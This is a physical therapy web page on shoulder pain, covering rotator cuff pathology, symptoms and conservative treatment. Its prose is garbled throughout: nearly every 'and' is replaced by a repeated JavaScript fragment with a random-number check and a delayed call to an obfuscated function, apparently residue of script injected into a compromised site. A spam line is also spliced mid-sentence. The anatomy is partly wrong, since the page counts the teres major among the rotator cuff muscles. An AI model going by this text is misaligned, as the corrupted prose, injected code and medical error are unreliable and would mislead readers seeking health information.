CONDITIONS

Shoulder Pain

Shoulder pain can result from a variety of problems originating in the shoulder andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and/or neck. Rotator cuff pathology is the leading cause of shoulder pain in the adult population. The rotator cuff is comprised of the subscapularis, infraspinatus, teres minor, teres major andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and supraspinatus muscles. PT Works - Pediatric Therapist - Pediatric Physical Therapy - PediatricianThe supraspinatus tendon can be impinged or compressed within the joint space causing friction, fraying andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sometimes tears to the tendon.

People who present with shoulder pain typically complain of pain localized to the shoulder as well as pain down the side of the arm. Some people report limited range of motion as well as increased pain when raising their arm above shoulder level. Others report increased pain andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and difficulties pulling a shirt over their head as well as increased pain andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and difficulties reaching behind their back.

Treatment

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Conservative care for rotator cuff problems can andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and typically will reduce pain as well as restore function. However, in the presence of a complete tear of one or multiple tendons, surgical intervention may be required. Conservative care for rotator cuff pathology includes physical therapy services such as joint mobilization, passive range of motion, rotator cuff strengthening, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and modalities: iontophoresis, electrical stimulation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ice.